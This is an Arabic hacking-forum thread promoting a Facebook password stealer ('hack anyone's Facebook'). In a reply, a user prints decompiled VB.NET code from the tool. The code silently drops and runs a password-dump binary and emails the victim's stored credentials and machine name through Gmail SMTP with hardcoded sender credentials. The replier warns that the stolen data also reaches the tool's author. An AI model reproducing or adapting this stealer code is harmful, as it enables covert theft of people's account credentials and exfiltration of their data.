اخترق فيسبوك اي حد باستخدام برنامج Facebook Password Stealer الاصدار الرابع

[ســبحآن الله]

وعليكم السلام..
شاكر لك جهدك اخي الكريم لاكن هناك بعض الملاحظات
اولا الادة نظيفة لاكن بعد تشغيل انشاء السيرفر و تشغيله
ينزل ملفين في جهازي الضحية في المسار ----> C:\Users\ANAS\AppData\Roaming
(ANAS)---> اسم المستخدم
بأسم
res.com
fbsm.exe

حقيقتا لم اعرف عمل الملف res.com
لكن عمل fbsm.exe هو ارسال بيانات الضحية الى الملغم
هذا الكود بعد استخراجه

   Private Shared Sub Run(ByVal email As String)
    Try 
        Dim folderPath As String = Environment.GetFolderPath(SpecialFolder.ApplicationData)
        Console.WriteLine(folderPath)
        Dim res As Byte() = Resources.res
        File.WriteAllBytes((folderPath & "\res.com"), res)
        Dim str2 As String = ""
        Dim str3 As String = (folderPath & "\res.com")
        Dim process As New Process With { _
            .StartInfo = { UseShellExecute:=False, CreateNoWindow:=True, WindowStyle:=ProcessWindowStyle.Hidden, RedirectStandardOutput:=True, RedirectStandardError:=True, FileName:="cmd", Arguments:=("/c " & str3) } _
        }
        process.Start
        Do While Not process.StandardOutput.EndOfStream
            str2 = (str2 & process.StandardOutput.ReadToEnd)
        Loop
        str2 = str2.Replace("****************************************************************", "").Replace("Facebook Password Dump v3.0 by SecurityXploded", "").Replace("http://securityxploded.com/facebook-password-dump.php", ("********** Machine Name: " & Environment.MachineName & " **********")).Replace("Tip: For more options type FacebookPasswordDump.exe -h", "")
        Console.WriteLine(str2)
        Dim message As New MailMessage With { _
            .From = New MailAddress("[email protected]") _
        }
        message.To.Add(email)
        message.Subject = "****** V!RU$ BL4CK v4 ******"
        message.Body = str2
        New SmtpClient("smtp.gmail.com", &H24B) With { _
            .Credentials = New NetworkCredential("[email protected]", "otyoeiretjkpwxls"), _
            .EnableSsl = True _
        }.Send(message)
        Console.WriteLine("sent")
    Catch exception As Exception
        Console.WriteLine(exception.Message)
    End Try
End Sub  

على ما يبدو لي ان البيانات لا تذهب فقط الى الملغم بل تذهب ايضاً الى صاحب البرنامج
وهذا امر غير جيد يعتبر اسغلال !
جربت الادة على ايميل وهمي ارسلت الادة الرساله لاكن بدون بيانات الفيسبوك
و السبب تصدى الوحش كروم له


و هذي التبليغ وصل لدى بدون بيانات